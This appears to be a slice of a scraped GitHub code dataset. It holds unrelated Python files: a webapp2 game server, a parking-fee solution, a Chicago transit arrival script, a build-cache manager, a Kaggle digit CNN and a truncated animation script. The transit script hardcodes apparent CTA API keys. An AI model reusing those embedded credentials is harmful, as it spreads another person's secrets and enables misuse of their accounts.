mgr.loadDB()\n\n        strbotid = str(self.request.get_all('botid'))\n        strtime = str(self.request.get_all('time'))\n\n        strbotpos = strbotid.find('\\'')\n        \n        strtimepos = int(strtime.find('\\'')) + 1\n        endtimepos = int(strtime.find('\\']'))\n\n\n        botid = int(strbotid[strbotpos+1])\n\n        strlength = endtimepos-strtimepos        \n        strnum =\"\"\n\n        for i in range(strlength):\n            strnum += strtime[strtimepos+i]\n\n        if botid == 5:\n            mgr.bot_1_time = int(strnum)\n        elif botid == 6:\n            mgr.bot_2_time = int(strnum)\n        else:\n            self.response.write('fail')\n            return\n\n        mgr.updateDB()\n        self.response.write('success')\n\nclass GetArrive(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        self.response.write('bot 1 : ')\n        output = ''\n        if mgr.bot_1_time != 0:\n            output = 'arrive'\n        else:\n            output = 'running'\n            \n        self.response.write(output+'<br>')\n        self.response.write('bot 2 : ')\n\n        if mgr.bot_2_time != 0:\n            output = 'arrive'\n        else:\n            output = 'running'\n        \n        self.response.write(output+'<br>')\n\nclass GetArriveTime(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        self.response.write('bot 1 : ')\n        self.response.write(str(mgr.bot_1_time)+'<br>')\n        self.response.write('bot 2 : ')\n        self.response.write(str(mgr.bot_2_time)+'<br>')        \n\nclass GetUserWin(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        strbotid = str(self.request.get_all('botid'))\n        strbotpos = strbotid.find('\\'')        \n        botid = int(strbotid[strbotpos+1])\n\n        a = 0\n        b = 0\n\n        if botid == 5:\n            a = mgr.bot_1_time\n            b = mgr.bot_2_time\n        elif botid == 6:\n            a = mgr.bot_2_time\n            b = mgr.bot_1_time\n        else:\n            self.response.write('fail')\n            return\n\n        if a < b:\n            self.response.write('win')\n        elif a > b:\n            self.response.write('lose')\n        else:\n            self.response.write('draw')\n\nclass GetAdminWin(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        if mgr.bot_1_time > mgr.bot_2_time:\n            self.response.write('bot 2')\n        elif mgr.bot_2_time > mgr.bot_1_time:\n            self.response.write('bot 1')\n        else:\n            self.response.write('draw')            \n\napp = webapp2.WSGIApplication([\n    ('/', MainHandler),\n    ('/user/getbotid', GetBotID),\n    ('/user/ready', Ready),\n    ('/user/start', GetStart),\n    ('/user/arrive', Arrive),\n    ('/user/win', GetUserWin),    \n    ('/admin/reset', GameDBReset),\n    ('/admin/start', AdminStart),\n    ('/admin/getarrive', GetArrive),\n    ('/admin/getarrivetime', GetArriveTime),    \n    ('/admin/check_all_ready', CheckAllReady),\n    ('/admin/getwin', GetAdminWin),    \n], debug=True)\n","repo_name":"Jin02/AdvancedMobileProject_2","sub_path":"WebServer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29852563627","text":"import math\n\ndef solution(fees, records):\n    default_time = fees[0]\n    default_fee = fees[1]\n    unit_time = fees[2]\n    unit_fee = fees[3]\n    time_list = []\n    cars = []\n    for i in range(len(records)):\n        list = []\n        if records[i][11:] == 'IN':\n            list.append([records[i][0:5], records[i][5:10], records[i][11:]])\n            for j in range(i+1, len(records)):\n                if records[i][5:10] == records[j][5:10] and records[j][11:] == 'OUT':\n                    list.append([records[j][0:5], records[j][5:10], records[j][11:]])\n                    break\n            if list[-1][2] == 'IN':\n                list.append(['23:59', records[i][5:10], 'OUT'])\n            # print(list)\n            cars.append(records[i][6:10])\n            time_list.append([records[i][6:10], (int(list[1][0][:2])*60 + (int(list[1][0][3:])) - (int(list[0][0][:2])*60 + int(list[0][0][3:])))])\n    print(time_list)\n    fee_list=[]\n    for i in set(cars):\n        times = 0\n        for j in time_list:\n            if str(i) == j[0]:\n                times += j[1]\n        if times < default_time:\n            fee_list.append([i, default_fee])\n        else:\n            print(default_fee ,times , default_time,  unit_time, unit_fee)\n            fee_list.append([i, default_fee + math.ceil((times - default_time) / unit_time) * unit_fee])\n\n    fee_list.sort()\n    answer = [i[1] for i in fee_list]\n    return answer\n\nif __name__ == \"__main__\":\n    fees, records = [180, 5000, 10, 600], [\"05:34 5961 IN\", \"06:00 0000 IN\", \"06:34 0000 OUT\", \"07:59 5961 OUT\", \"07:59 0148 IN\", \"18:59 0000 IN\", \"19:09 0148 OUT\", \"22:59 5961 IN\", \"23:00 5961 OUT\"]\n    print('1st Test Case', solution(fees, records))\n    fees, records = [120, 0, 60, 591], [\"16:00 3961 IN\",\"16:00 0202 IN\",\"18:00 3961 OUT\",\"18:00 0202 OUT\",\"23:58 3961 IN\"]\n    print('1st Test Case', solution(fees, records))","repo_name":"msio900/coding_test","sub_path":"programmers_practice/programmers_92341.py","file_name":"programmers_92341.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"71706519782","text":"import urllib.request\nimport json\nimport time\nimport datetime\nimport pprint\n#30071\n\n#var = 1\n#while var == 1:\nurl = 'http://lapi.transitchicago.com/api/1.0/ttarrivals.aspx?key=36462b5dd0c84333af29ec51a7ccadf3&stpid=30071&max=5&outputType=JSON'\nurl1 = 'http://lapi.transitchicago.com/api/1.0/ttpositions.aspx?key=36462b5dd0c84333af29ec51a7ccadf3&rt=red&outputType=JSON'\nh1 = urllib.request.urlopen(url)\nhtml = h1.read()\ntext = html.decode('utf-8')\nh2 = urllib.request.urlopen(url1)\nhtml2 = h2.read()\ntext2 = html2.decode('utf-8')\n\n#pprint.pprint(text2)\n\nct = text[text.index('\"tmst\":\"') + len('\"tmst\":\"')+11]\nfor x in range (1,8):\n    a = text[text.index('\"tmst\":\"') + len('\"tmst\":\"')+11+x]\n    if a == '\"':\n        break\n    else:\n        ct = ct + a\n\nt1 = int(ct[:2])\nt2 = ct[:5]\nt2 = int(t2[-2:])\nt3 = int(ct[-2:])\n\ntc = t1*60+t2+t3/60\n\n#print (t1 + ':' + t2 + ':' + t3)\n\naSP = text[text.index('\"arrT\":\"') + len('\"arrT\":\"')+11]\nfor x in range (1,8):\n    a = text[text.index('\"arrT\":\"') + len('\"arrT\":\"')+11+x]\n    if a == '\"':\n        break\n    else:\n        aSP = aSP + a\n\na1 = int(aSP[:2])\na2 = aSP[:5]\na2 = int(a2[-2:])\na3 = int(aSP[-2:])\n\nta = (a1*60)+a2+(a3/60)\n\ndt = str(ta-tc)[:4]\n\nprint ('The next Southbound Brown Line Train will arrive at Southport in ' + dt + ' min.')\n\n#FMT = '%H:%M:%S'\n#aSP = time.strptime(aSP, FMT)\n#ct = time.strptime(ct, FMT)\n#at = datetime.timedelta(aSP,ct)\n\n#print('The next train will arive in ' + at + ' minutes')\nprint('Time is currently ' + ct)\nprint('Next train due at ' + aSP)\n\n# for x in range (0,2):\n#     a77 = text[text.index('\"prdctdn\": \"') + len('\"prdctdn\": \"')]\n#     a = text[text.index('\"prdctdn\": \"') + len('\"prdctdn\": \"') + 1]\n#     if a == '\"':\n#         break\n#     else:\n#         a77 = a77 + a\n#\n# for x in range (0,2):\n#     a = text[text.index('\"prdctdn\": \"') + len('\"prdctdn\": \"'):]\n#     a771 = a[a.index('\"prdctdn\": \"') + len('\"prdctdn\": \"')]\n#     b = a[a.index('\"prdctdn\": \"') + len('\"prdctdn\": \"') + 1]\n#     if b == '\"':\n#         break\n#     else:\n#         a771 = a771 + b\n#\n# if a77 == 'DU':\n#     a77=''\n#     print('Next bus is due. The bus after arrives in ' + a771 + ' minutes.')\n# else:\n#     a77 = a77 + ' minutes'\n#\n#     #print('Next bus is due in ' + a77 + ' minutes')\n#\n#     print('Next bus is due in ' + a77 + '. ' 'The bus after arrives in ' + a771 + ' minutes.')\n    #time.sleep(15)\n\n\n\n    #bus key:\n    #4CWNbgqBYMdJfAAZVW9yDerH5\n    #train key:\n    #36462b5dd0c84333af29ec51a7ccadf3\n    #train api:\n    #http://www.transitchicago.com/assets/1/developer_center/cta_Train_Tracker_API_Developer_Guide_and_Documentation_20160929.pdf\n    #bus api:\n    #http://www.transitchicago.com/assets/1/developer_center/cta_Bus_Tracker_API_Developer_Guide_and_Documentation_20160929.pdf\n","repo_name":"davramov/code","sub_path":"python/ctatrain.py","file_name":"ctatrain.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72703737060","text":"import os\nimport sys\nimport threading\nimport Queue\nimport cPickle\n\nimport Target\nimport BrocObject\n\nbroc_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\nsys.path.insert(0, broc_dir)\nfrom util import Function\n\n\nclass BrocObjectMaster(threading.Thread):\n    \"\"\"\n    cache Manager class\n    BrocObjectMaster object is a thread object\n    \"\"\"\n    def __init__(self, cache_file, root, logger):\n        \"\"\"\n        Args:\n            cache_file : the path of cache file\n            root : the root path of main module\n            logger : the Log.Log() object\n        \"\"\"\n        threading.Thread.__init__(self)\n        self._cache_file = cache_file\n        self._root = root\n        self._logger = logger\n        self._queue = Queue.Queue()  # request queue\n        self._version = 0.1\n        self._cache = dict()        # {cvs path : BrocObject} \n        self._changed_cache = set() # set(BrocObject)\n        self._event = threading.Event()\n        self._dumped_str = \"\"\n    \n    def WaitCheckDone(self):\n        \"\"\"\n        wait all cache has been check\n        \"\"\"\n        self._queue.put(('check_done', None))\n        # wait all target has been checked\n        self._event.wait()\n        self._event.clear()\n\n    def Stop(self):\n        \"\"\"\n        stop thread\n        \"\"\"\n        self._queue.put(('stop', None))\n        self.join()\n\n    def SelfCheck(self):\n        '''\n        After BrocObjectMaster loading caches, to check whether all caches have been modified,\n        this step must be execute before run BROC files\n        '''\n        missing = list()\n        for cvs, cache in self._cache.iteritems():\n            ret = cache.IsModified()\n            # not change\n            if ret == 0:\n                continue\n            # changed\n            elif ret == 1:\n                cache.EnableBuildNoReverse()\n                continue\n            # the file that cache representing is missing\n            else:\n                missing.append(cvs)\n\n        # here to handle the caches of missed files\n        try:\n            for miss in  missing:\n                del self._cache[miss]\n        except KeyError:\n            pass\n\n        #for k in self._cache:\n        #   print('(%s): %s' % (self._cache[k].pathname, self._cache[k].build))\n\n\n    def IsModified(self, outpath):\n        \"\"\"\n        whether a file has been modified since last build\n        Args:\n            outpath : the build result file\n        \"\"\"\n        if outpath not in self._cache:\n            return True\n        else:\n            return self._cache[outpath].Modified()\n\n    def run(self):\n        \"\"\"\n        Returns:\n        \"\"\"\n        while True:\n            action, obj = self._queue.get()\n            if action == 'check':\n                self._handle_check(obj)\n                continue\n            elif action == 'update':\n                self._handle_update(obj)\n                continue\n            elif action == 'check_done':     \n                self._handle_check_done()\n                continue\n            elif action == 'stop':\n                break\n\n    def _handle_check(self, obj):\n        \"\"\"\n        used by BrocObjectMaster thread\n        to check whether cache is changed\n        Args:\n            obj : target.Target object\n        \"\"\"\n        self._check_target(obj)\n\n    def _check_head_cache(self, pathname, source_cache):\n        \"\"\"\n        to check whether head file changed\n        if head cache does not exist, create a new head cache\n        Args:\n            pathname : the cvs path of head file\n            source_cache : the BrocObject.SourceCache\n        Returns:\n            return True if head cache changed or create a new head cache\n            return False if head cache didn't change\n        \"\"\"\n        if pathname not in self._cache:\n            self._add_head_cache(pathname, source_cache)\n            return True\n\n        if self._cache[pathname].IsChanged(None):\n            self._cache[pathname].EnableBuild()\n            return True\n        else:\n            return False\n\n    def _check_source_cache(self, source, target_cache):\n        \"\"\"\n        to check source object's cache\n        Args:\n            source : the Source.Source object\n            target_cache : the BrocObject.TargetCache object\n        \"\"\"\n        # source infile no exists in cache\n        if source.OutFile() not in self._cache:\n            source.CalcHeaderFiles()\n            self._add_source_cache(source, target_cache)\n            return True\n\n        # check header files\n        source_cache = self._cache[source.OutFile()]\n        last_headers = set(map(lambda x: x.Pathname(), source_cache.Deps()))\n        # source file content changed\n        if source_cache.Modified():\n            source_cache.UpdateBuildCmd(source.GetBuildCmd())\n            source_cache.EnableBuild()\n        else:\n            if source.GetBuildCmd() != source_cache.BuildCmd():\n                source_cache.UpdateBuildCmd(source.GetBuildCmd())\n                source_cache.EnableBuild()\n            source.SetHeaderFiles(last_headers)\n             \n        now_headers = source.GetHeaderFiles()\n        missing_headers = last_headers - now_headers\n        for f in missing_headers:\n            source_cache.DelDep(f)\n            self._cache[f].DelReverseDep(source_cache.Pathname())\n\n        # check head files source object depended\n        ret = False\n        for f in source.GetHeaderFiles():\n            if self._check_head_cache(f, source_cache):\n                ret = True\n\n        # head files changed\n        if ret:\n            self._cache[source.OutFile()].UpdateBuildCmd(source.GetBuildCmd())\n            self._cache[source.OutFile()].EnableBuild()\n            return ret\n\n        # head files no changed, check itself\n        if source_cache.IsChanged(source):\n            source_cache.UpdateBuildCmd(source.GetBuildCmd())\n            source_cache.EnableBuild()\n            return True\n\n        return False\n\n    def _check_target(self, target):\n        \"\"\"\n        to check target cache\n        Args:\n            target : can be Application, StaticLibrary, UT_Application, ProtoLibrary\n        \"\"\"\n        ret = False\n        # 1. check whether target cache exists\n        if target.OutFile() not in self._cache:\n            #self._logger.LevPrint(\"MSG\", \"create cache for target %s\" % target.OutFile())\n            self._add_target_cache(target)\n            return True\n\n        # 2. check whether target cache is a empty cache, empty cache was created by target depended on it\n        # self._logger.LevPrint(\"MSG\", \"check target %s cache\" % target.OutFile())\n        target_cache = self._cache[target.OutFile()]\n        if not target_cache.initialized:\n            # self._logger.LevPrint(\"MSG\", \"Initialize target %s\" % target.OutFile())\n            target_cache.Initialize(target)\n            target_cache.EnableBuild()\n\n        # 3. check all source object, remove uesless source cache\n        #self._logger.LevPrint(\"MSG\", \"check target %s Source\" % target.OutFile())\n        last_sources = set()\n        for x in target_cache.Deps():\n            if x.TYPE is BrocObject.BrocObjectType.BROC_SOURCE:\n                last_sources.add(x.Pathname())\n        now_sources = target.Objects()\n        missing_sources = last_sources - now_sources\n        for missing in missing_sources:\n            target_cache.DelDep(missing)\n            self._cache[missing].DelReverseDep(target.OutFile())\n        # check source objets contained in trget object\n        for source in target.Sources():\n            if self._check_source_cache(source, target_cache):\n                ret = True\n\n        # 4. check all .a files, remove useless .a cache first\n        last_libs = set()\n        for x in target_cache.Deps():\n            if x.TYPE is BrocObject.BrocObjectType.BROC_LIB:\n                last_libs.add(x.Pathname())\n        now_lib_files = target.Libs()\n        missing_libs = last_libs - now_lib_files\n        for missing in missing_libs:\n            target_cache.DelDep(missing)\n            self._cache[missing].DelReverseDep(target.OutFile())\n        # self._logger.LevPrint('MSG', \"check %s ...\" % target.OutFile())\n        # check .a files contained in target object\n        for lib_file in target.Libs():\n            if self._check_lib_cache(lib_file, target_cache):\n                # self._logger.LevPrint(\"MSG\", \"check dep lib %s changed, enable target %s\" % (lib_file, target.OutFile()))\n                ret = True\n\n        # if there is source or .a has changed, tareget need to rebuild\n        if ret:\n            target_cache.EnableBuild()\n            # self._logger.LevPrint(\"MSG\", 'some deps change, target %s nee to rebuild' % target.OutFile())\n            return True\n\n        # 5. check target file itself\n        if target_cache.IsChanged(target):\n            target_cache.EnableBuild()\n            return True\n\n        return False\n\n    def _check_lib_cache(self, pathname, target_cache):\n        \"\"\"\n        check lib cache\n        a target(.exe, .a) can depend on static library(.a) files\n        when add cache object for the target, we need to create the cache object for all dependent .a files at same time.\n        In the condition, the informatin of dependent file(.a) we have is just the cvs path, so creates a empty target cache\n        and the dependent relation firstly, and then initiailze it when it comes to check the true dependengt object\n        Args:\n            pathname: the cvs path of .a file\n            target_cache : the reversed dependent target cache of lib file\n        \"\"\"\n        \n        if pathname not in self._cache:\n            self._add_lib_cache(pathname, target_cache)\n            return True\n        # BrocObject object will check whether dep or reverse dep existed already,\n        # there is no need to check, it doesn't matter, just add it\n        self._cache[pathname].AddReverseDep(target_cache)\n        target_cache.AddDep(self._cache[pathname]) \n\n    def _add_source_cache(self, source, target_cache):\n        \"\"\"\n        add a new source cache, and create header cache\n        Args:\n            source : the Source.Source object\n            target_cache : the BrocObject object that dependeds on the source file\n        \"\"\"\n        # self._logger.LevPrint('MSG', 'add source cache %s' % source.InFile())\n        source_cache = BrocObject.SourceCache(source)\n        self._cache[source.OutFile()] = source_cache\n        source_cache.AddReverseDep(target_cache)\n        target_cache.AddDep(source_cache)\n\n        # add header cache for source cache\n        header_files = source.GetHeaderFiles()\n        for f in header_files:\n            if f in self._cache:\n                source_cache.AddDep(self._cache[f])\n                self._cache[f].AddReverseDep(source_cache)\n            else:\n                self._add_head_cache(f, source_cache)\n\n    def _add_target_cache(self, target):\n        \"\"\"\n        add a new target cache(lib cache, (ut)app cache)\n        Args:\n            target : Target.Target object\n        \"\"\"\n        # self._logger.LevPrint(\"MSG\", \"add target cache(%s), type is (%s)\" % (target.OutFile(), type(target)))\n        target_cache = None\n        if isinstance(target, Target.StaticLibrary):\n            target_cache = BrocObject.LibCache(target.OutFile(), target)\n        elif isinstance(target, Target.UTApplication) or isinstance(target, Target.Application):\n            target_cache = BrocObject.AppCache(target)\n        elif isinstance(target, Target.ProtoLibrary):\n            target_cache = BrocObject.LibCache(target.OutFile(), target)\n        else:\n            self._logger.LevPrint(\"ERROR\", \"can't add target cache(%s)\" % target.OutFile())\n            return \n\n        self._cache[target.OutFile()] = target_cache\n        # handle source object\n        for source in target.Sources():\n            if source.OutFile() in self._cache:\n                self._cache[source.OutFile()].AddReverseDep(target_cache)\n                target_cache.AddDep(self._cache[source.OutFile()])\n                self._check_source_cache(source, target_cache)\n            else:\n                self._add_source_cache(source, target_cache)\n\n        # handle dependent lib cache\n        for lib in target.Libs():\n            if lib in self._cache:\n                self._cache[lib].AddReverseDep(target_cache)\n                target_cache.AddDep(self._cache[lib])\n            else:\n                # add empty dependent lib cache object\n                # this cache object need to be initialized \n                self._add_lib_cache(lib, target_cache)\n\n    def _add_lib_cache(self, pathname, target_cache):\n        \"\"\"\n        add empty lib cache\n        Args:\n            pathname : the cvspath of .a file\n            target_cache : the cache of target depending on .a file\n        \"\"\"\n        depend_cache = BrocObject.LibCache(pathname, target_cache, False)\n        self._cache[pathname] = depend_cache \n        depend_cache.AddReverseDep(target_cache)\n        target_cache.AddDep(depend_cache)\n\n    def _add_head_cache(self, pathname, source_cache):\n        \"\"\"\n        add head file cache\n        Args:\n            pathname : the cvs path of head file\n            source_cache : the BrocObject.SourceCache object\n        \"\"\"\n        cache = BrocObject.HeaderCache(pathname)\n        self._cache[pathname] = cache\n        source_cache.AddDep(cache)\n        cache.AddReverseDep(source_cache)\n        \n    def CheckCache(self, obj):\n        \"\"\"\n        to check whether cache(cvspath) is changed\n        Args:\n            obj : can be target, source object\n        \"\"\"\n        self._queue.put(('check', obj))\n\n    def _handle_check_done(self):\n        \"\"\"\n        find all changed cache whose type in [BROC_SOURCE, BROC_LIB, BROC_APP]\n        \"\"\"\n        for k, cache in self._cache.iteritems():\n            if not cache.IsBuilt() and cache.TYPE in [BrocObject.BrocObjectType.BROC_SOURCE,\n                                                      BrocObject.BrocObjectType.BROC_LIB,\n                                                      BrocObject.BrocObjectType.BROC_APP]:\n                self._changed_cache.add(cache)\n        self._event.set()\n\n    def UpdateCache(self, pathname):\n        \"\"\"\n        update cache whose key is pathname, this method is used after build\n        Args:\n           pathname : the cvs path of file \n        \"\"\"\n        self._queue.put(('update', pathname))\n\n    def _handle_update(self, pathname):\n        \"\"\"\n        update cache whose key is pathname, this method is used after build\n        Args:\n           pathname : the cvs path of file \n        \"\"\"\n        # self._logger.LevPrint(\"MSG\", \"save cache %s\" % pathname)\n        if pathname not in self._cache:\n            self._logger.LevPrint(\"INFO\", \"%s not in cache, could not update\" % pathname)\n            return \n        cache = self._cache[pathname]\n        # head file information has been updated in check stage, so no need to update\n        if cache.TYPE == BrocObject.BrocObjectType.BROC_HEADER:\n            cache.DisableBuild()\n            cache.DisableModified()\n            return\n        else:\n            # self._logger.LevPrint(\"MSG\", \"update cache %s, hash is %s\" % (cache.Pathname(), cache.Hash()))\n            cache.Update()\n            # save cache into file \n            # self._logger.LevPrint(\"MSG\", \"save cache %s, id(%s), hash is %s, build %s\" % (cache.Pathname(), id(cache), cache.Hash(), cache.build ))\n            self._save_cache()\n\n    def GetChangedCache(self):\n        \"\"\"\n        return the list of changed file\n        Returns:\n            return a list object composed of cvspath\n        \"\"\"\n        return self._changed_cache \n\n    def LoadCache(self):\n        \"\"\"\n        load cache\n        \"\"\"\n        # no cache file\n        if not os.path.exists(self._cache_file):\n            self._logger.LevPrint(\"MSG\", \"no broc cache and create a empty one\")\n            return \n        # try to load cache file\n        self._logger.LevPrint(\"MSG\", \"loading cache(%s) ...\" % self._cache_file)\n        try:\n            with open(self._cache_file, 'rb') as f:\n                caches = cPickle.load(f)\n                if caches[0] != self._version:\n                    self._logger.LevPrint(\"MSG\", \"cache version(%s) no match system(%s)\" \n                                          % (caches[0], self._version))\n                else:\n                    for cache in caches[1:]:\n                        self._cache[cache.Pathname()] = cache\n                        #self._logger.LevPrint(\"MSG\", 'cache %s , %d hash is %s, build %s, Modified %s' % (cache.Pathname(), id(cache), cache.Hash(), cache.Build(), cache.Modified()))\n        except BaseException as err:\n            self._logger.LevPrint(\"MSG\", \"load broc cache(%s) faild(%s), create a empty cache\"\n                                 % (self._cache_file, str(err)))\n        self._logger.LevPrint(\"MSG\", \"loading cache success\")\n        self._logger.LevPrint(\"MSG\", \"checking cache ...\")\n        self.SelfCheck()\n        self._logger.LevPrint(\"MSG\", \"checking cache done\")\n\n    def _save_cache(self):\n        \"\"\"\n        save cache objects into file\n        and content of file is a list and its format is [ version, cache, cache, ...].\n        the first item is cache version, and the 2th, 3th ... item is cache object\n        \"\"\"\n        dir_name = os.path.dirname(self._cache_file)\n        Function.Mkdir(dir_name)\n        try:\n            caches = [self._version]\n            caches.extend(map(lambda x: self._cache[x], self._cache))\n            with open(self._cache_file, 'wb') as f:\n                cPickle.dump(caches, f)\n        except Exception as err:\n            self._logger.LevPrint(\"ERROR\", \"save cache(%s) failed(%s)\" \n                                  % (self._cache_file, str(err)))\n\n    def _dump(self, pathname, level):\n        \"\"\"\n        dump dependecy relationship into file, DFS\n        \"\"\"\n        if self._cache[pathname].build is True:\n            infos = \"\\t\" * level + \"[\" + pathname + \"]\\n\"          #need to build\n        else:\n            infos = \"\\t\" * level + pathname + \"\\n\"\n        self._dumped_str += infos\n        for deps_pathname in self._cache[pathname].deps:\n            self._dump(deps_pathname.Pathname(), level + 1)\n\n    def Dump(self):\n        \"\"\"\n        save dependency relation of files\n        \"\"\"\n        dumped_file = os.path.join(self._root, \".BROC.FILE.DEPS\")\n        for pathname in self._cache:\n            # the length of reverse deps is 0 means it is application or libs of main module\n            if len(self._cache[pathname].reverse_deps) <= 0:\n                self._dump(pathname, 0)\n        try:\n            dir_name = os.path.dirname(dumped_file)\n            Function.Mkdir(dir_name)\n            with open(dumped_file, \"w\") as f:\n                f.write(\"\" + self._dumped_str)\n        except IOError as err:\n            self._logger.LevPrint(\"ERROR\", \"save file dependency failed(%s)\" % err)\n","repo_name":"baidu/broc","sub_path":"dependency/BrocObjectMaster.py","file_name":"BrocObjectMaster.py","file_ext":"py","file_size_in_byte":18904,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"35"}
{"seq_id":"9056673938","text":"# Jared Williams\n# this is the Digit Recognizer Kaggle competition\n\n\nimport tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport pandas\n\n\"\"\" read and format data\"\"\"\ntrain_data = np.loadtxt('./train.csv', skiprows=1, delimiter=',')\ntest_data = np.loadtxt('./test.csv', skiprows=1, delimiter=',')\n\ntrain_labels = train_data[:, 0]\ntrain_images = train_data[:, 1::]\n\ntest_labels = test_data[:, 0]\ntest_images = test_data\n\nprint(\"Before: \", train_images.shape)\nprint(\"Before: \", test_images.shape)\n\ntrain_images = np.reshape(train_images, (42000, 28, 28, 1))\ntest_images = np.reshape(test_images, (28000, 28, 28, 1))\n\nprint(\"After: \", train_images.shape)\nprint(\"After: \", test_images.shape)\n\n\n\n\n# include the epoch in the file name. (uses `str.format`)\ncheckpoint_path = \"digits_training2/cp-{epoch:04d}.ckpt\"\ncheckpoint_dir = os.path.dirname(checkpoint_path)\n\ncp_callback = tf.keras.callbacks.ModelCheckpoint(\n    checkpoint_path, verbose=1, save_weights_only=True,\n    # Save weights, every 5-epochs.\n    period=5)\n\ndef create_model():\n    model = tf.keras.models.Sequential([\n        keras.layers.Conv2D(32, kernel_size=(3, 3),\n                            activation='relu',\n                            input_shape=(28, 28, 1)),\n        keras.layers.Conv2D(64, (3, 3), activation='relu'),\n        keras.layers.MaxPooling2D(pool_size=(2, 2)),\n        keras.layers.Dropout(0.25),\n        keras.layers.Flatten(),\n        keras.layers.Dense(128, activation='relu'),\n        keras.layers.Dropout(0.5),\n        keras.layers.Dense(10, activation='softmax')\n    ])\n\n    model.compile(optimizer=tf.train.AdamOptimizer(),\n                  loss='sparse_categorical_crossentropy',\n                  metrics=['accuracy'])\n\n    return model\n\ndef train_model():\n    model.fit(train_images, train_labels,\n              epochs=12, callbacks=[cp_callback],\n              validation_data=(test_images, test_labels))\n\ndef check_model():\n    loss, acc = model.evaluate(test_images, test_labels)\n    print(\"Restored model, accuracy: {:5.2f}%\".format(100 * acc))\n\n\nmodel = create_model()\ntrain_model()\n#model.load_weights(\"digits_training2/cp-0010.ckpt\");\n#check_model()\n\n\n","repo_name":"JaredM-Williams/kaggle_digit_recognizer","sub_path":"kaggle_digits.py","file_name":"kaggle_digits.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20324511003","text":"import sys\nsys.path.append('thirdparty/AdaptiveWingLoss')\nimport os, glob\nimport numpy as np\nimport argparse\nimport pickle\nfrom src.autovc.AutoVC_mel_Convertor_retrain_version import AutoVC_mel_Convertor\nfrom src.approaches.train_audio2landmark import Audio2landmark_model\nimport shutil\nimport matplotlib.pyplot as plt\nfrom thirdparty.resemblyer_util.speaker_emb import get_spk_emb\nfrom scipy.signal import savgol_filter\nfrom util.utils import get_puppet_info\nimport cv2\nimport os\n\n\nADD_NAIVE_EYE = False\nGEN_AUDIO = True\nGEN_FLS = True\n\nDEMO_CH = 'wilk.png'\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--jpg', type=str, required=True, help='Puppet image name to animate (with filename extension), e.g. wilk.png')\nparser.add_argument('--jpg_bg', type=str, required=True, help='Puppet image background (with filename extension), e.g. wilk_bg.jpg')\nparser.add_argument('--out', type=str, default='out.mp4')\n\nparser.add_argument('--load_AUTOVC_name', type=str, default='examples/ckpt/ckpt_autovc.pth')\nparser.add_argument('--load_a2l_G_name', type=str, default='examples/ckpt/ckpt_speaker_branch.pth') #ckpt_audio2landmark_g.pth') #\nparser.add_argument('--load_a2l_C_name', type=str, default='examples/ckpt/ckpt_content_branch.pth') #ckpt_audio2landmark_c.pth')\nparser.add_argument('--load_G_name', type=str, default='examples/ckpt/ckpt_116_i2i_comb.pth') #ckpt_i2i_finetune_150.pth') #ckpt_image2image.pth') #\n\nparser.add_argument('--amp_lip_x', type=float, default=2.0)\nparser.add_argument('--amp_lip_y', type=float, default=2.0)\nparser.add_argument('--amp_pos', type=float, default=0.5)\nparser.add_argument('--reuse_train_emb_list', type=str, nargs='+', default=[]) #  ['E_kmpT-EfOg']) #  ['E_kmpT-EfOg']) # ['45hn7-LXDX8'])\n\n\nparser.add_argument('--add_audio_in', default=False, action='store_true')\nparser.add_argument('--comb_fan_awing', default=False, action='store_true')\nparser.add_argument('--output_folder', type=str, default='examples_cartoon')\n\n#### NEW POSE MODEL\nparser.add_argument('--test_end2end', default=True, action='store_true')\nparser.add_argument('--dump_dir', type=str, default='', help='')\nparser.add_argument('--pos_dim', default=7, type=int)\nparser.add_argument('--use_prior_net', default=True, action='store_true')\nparser.add_argument('--transformer_d_model', default=32, type=int)\nparser.add_argument('--transformer_N', default=2, type=int)\nparser.add_argument('--transformer_heads', default=2, type=int)\nparser.add_argument('--spk_emb_enc_size', default=16, type=int)\nparser.add_argument('--init_content_encoder', type=str, default='')\nparser.add_argument('--lr', type=float, default=1e-3, help='learning rate')\nparser.add_argument('--reg_lr', type=float, default=1e-6, help='weight decay')\nparser.add_argument('--write', default=False, action='store_true')\nparser.add_argument('--segment_batch_size', type=int, default=512, help='batch size')\nparser.add_argument('--emb_coef', default=3.0, type=float)\nparser.add_argument('--lambda_laplacian_smooth_loss', default=1.0, type=float)\nparser.add_argument('--use_11spk_only', default=False, action='store_true')\n\nopt_parser = parser.parse_args()\n\ndef _2d_vis(points1):\n    x, y = points1[:, 0], points1[:, 1]\n\n    # 创建绘图图表对象，可以不显式创建，跟cv2中的cv2.namedWindow()用法差不多\n    plt.figure('Draw')\n\n    # 对y轴的坐标系进行反转\n    ax = plt.gca()\n    ax.invert_yaxis()\n\n    plt.scatter(x, y)  # scatter绘制散点图\n\n    # plt.draw()  # 显示绘图\n    plt.show()\n\ndef _3d_vis(points):\n    fig = plt.figure()\n    ax = fig.gca(projection='3d')\n    ax.set_xlabel('X axis')\n    ax.set_ylabel('Y axis')\n    ax.set_zlabel('Z axis')\n    ax.scatter(points[:, 0],\n               points[:, 1],\n               points[:, 2], zdir='z', c='c')\n    plt.show()\n\n\ndef vis_2dpoints(img, points):\n    h, w = img.shape[:2]\n    img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    for p in points:\n        cv2.circle(img_rgb, (int(p[0]), int(p[1])), 5, (255, 